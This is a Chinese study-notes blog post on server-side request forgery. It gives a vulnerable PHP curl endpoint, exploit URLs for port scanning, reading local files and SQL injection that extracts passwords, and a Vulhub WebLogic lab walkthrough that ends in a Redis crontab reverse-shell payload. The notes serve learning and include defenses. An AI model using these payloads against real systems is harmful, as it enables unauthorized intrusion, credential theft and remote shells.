• ssrf学习笔记总结


    SSRF概述

    ​ 服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

    ​ 如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

    ​ SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

    SSRF 场景

    php实现

    利用curl 实现,需要PHP 扩展组件curl 支持。

    // ssrf_curl.php
    if(isset($_REQUEST['url'])){
         $link = $_REQUEST['url'];
         $fileName = './curled/'.time().".txt";
         $curlObj = curl_init($link);
         $fp = fopen($fileName,'w');
    
         curl_setopt($curlObj,CURLOPT_FILE,$fp);
         curl_setopt($curlObj,CURLOPT_HEADER,0);
         curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
    
         curl_exec($curlObj);
         curl_close($curlObj);
         fclose($fp);
    
         if(getimagesize($fileName)){
         header("Content-Type:image/png");
         }
          $fp = fopen($fileName,'r');
         $result = fread($fp,filesize($fileName));
         fclose($fp);
         echo $result;
    }else{
     echo "?url=[url]";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    SSRF 原理

    服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

    对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

    没对响应的结果进行检验,直接输出。

    SSRF危害

    • 端口扫描;

    • 内网Web 应用指纹识别;

    • 攻击内网应用;

    • 读取本地文件;

    SSRF攻防

    SSRF利用

    文件访问

    ?url=http://www.baidu.com
    ?url=http://www.baidu.com/img/bd_logo.png
    ?url=http://www.baidu.com/robots.txt
    
    • 1
    • 2
    • 3

    端口扫描

    ?url=http://127.0.0.1:80
    ?url=http://127.0.0.1:3306
    ?url=dict://127.0.0.1:3306
    ?url=http://10.10.10.1:22
    ?url=http://10.10.10.1:6379
    
    • 1
    • 2
    • 3
    • 4
    • 5

    读取本地文件

    ?url=file:///c:/windows/system32/drivers/etc/hosts
    ?url=file:///etc/passwd
    ?url=file:/c:/www/ssrf/ssrf_curl.php
    
    • 1
    • 2
    • 3

    内网应用指纹识别

    有些应用是部署在内网的。

    
     #Order allow,deny
     Order deny,allow
     deny from all
     allow from 127.0.0.1
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    内网应用指纹识别

    ?url=http://127.0.0.1/phpmyadmin/readme
    
    • 1

    攻击内网web应用

    内网安全通常都很薄弱。

    
     #Order allow,deny
     Order deny,allow
     deny from all
     allow from 127.0.0.1
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

    ?url=http://127.0.0.1/cms/show.php?
    id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
    users
    ?url=http://127.0.0.1/cms/show.php?
    id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
    %30from%25%32%30cms_users
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    SSRF实例

    https://vulhub.org/#/environments/weblogic/ssrf/

    判断ssrf漏洞

    访问

    http://10.4.7.137:7001/uddiexplorer/
    
    • 1

    image-20231117144443232

    漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp

    提交搜索并抓包

    将此处url解码

    image-20231117150146479

    点击send发送

    获取response,然后右键response发送给compare

    image-20231117150311468

    然后将url修改为百度,再次重复操作

    image-20231117151225241

    修改url后伪造服务器请求资源,并且收到response,即存在ssrf

    探查内网端口开放情况

    端口开放时,会返回404相关错误,虽然没有目录,但是能访问服务器

    image-20231117151545430

    使用localhost也可以

    image-20231117151659744

    端口未开放时则返回无法连接类错误

    image-20231117151838296

    探查内网ip

    由于已知7001端口开放,因此可以用该端口探测内网中存活的ip

    不存在时即返回无法连接

    image-20231117152133486

    探测内网地址可以使用爆破

    从ssrf利用到redis未授权访问

    由于这是容器,看一下redis的端口

    image-20231117152730010

    docker环境的网段一般是172

    此处直接看一下配置文件看看ip

    sudo docker ps -a
    
    • 1

    image-20231117160254922

    sudo docker exec -it 8 /bin/bash
    
    • 1

    这个就是ip

    image-20231117160340335

    验证一下开放没

    image-20231117160553260

    发现开放

    从redis未授权访问到getshell

    将脚本写进去

    set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/10.4.7.137/777 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    aaa
    
    • 1
    • 2
    • 3
    • 4
    • 5

    圈圈的地方要修改监听ip和监听端口

    image-20231117161732114

    将脚本文件url编码send,等待一会收到shell

    image-20231117161645983

    image-20231117161602941

    SSRF防御

    过滤输入

    • 限制协议,仅允许 http 或 https 协议;(防止使用gopher协议)

    • 限制IP,避免应用被用来获取内网数据,攻击内网;

    • 限制端口,限制请求端口为常用端口。

    过滤输出

    • 过滤返回信息,只要不符合要求的,全部过滤;

    • 统一错误信息,让攻击无法对内网信息进行判断。

    SSRF挖掘

    web功能url关键字
    分享
    转码服务
    在线翻译
    图片加载与下载
    图片、文章收藏功能
    未公开的API实现
    share
    wap
    url
    link
    src
    source
    target
    u
    3g
    display
    sourceURL
    imageURL
    domain
  • 相关阅读:
    [2024年]-flink面试真题(三)
    利用pgsql插件PostGIS 实现地理坐标系数据转换
    深入props --React进阶指南笔记
    赠人玫瑰,手有余香,分享5款精致小巧的软件
    mysql存储过程
    创建Asp.net MVC项目实现视图页面数据传值显示
    没有几十年功力,写不出这一行“看似无用”的代码!!
    [Vue 配置] Vite + Vue3 项目配置和使用 NProgress
    新品速递|海泰边缘安全网关护航工控数据采集
    分库分表-分片算法运用
  • 原文地址:https://blog.csdn.net/qq_58683895/article/details/134466009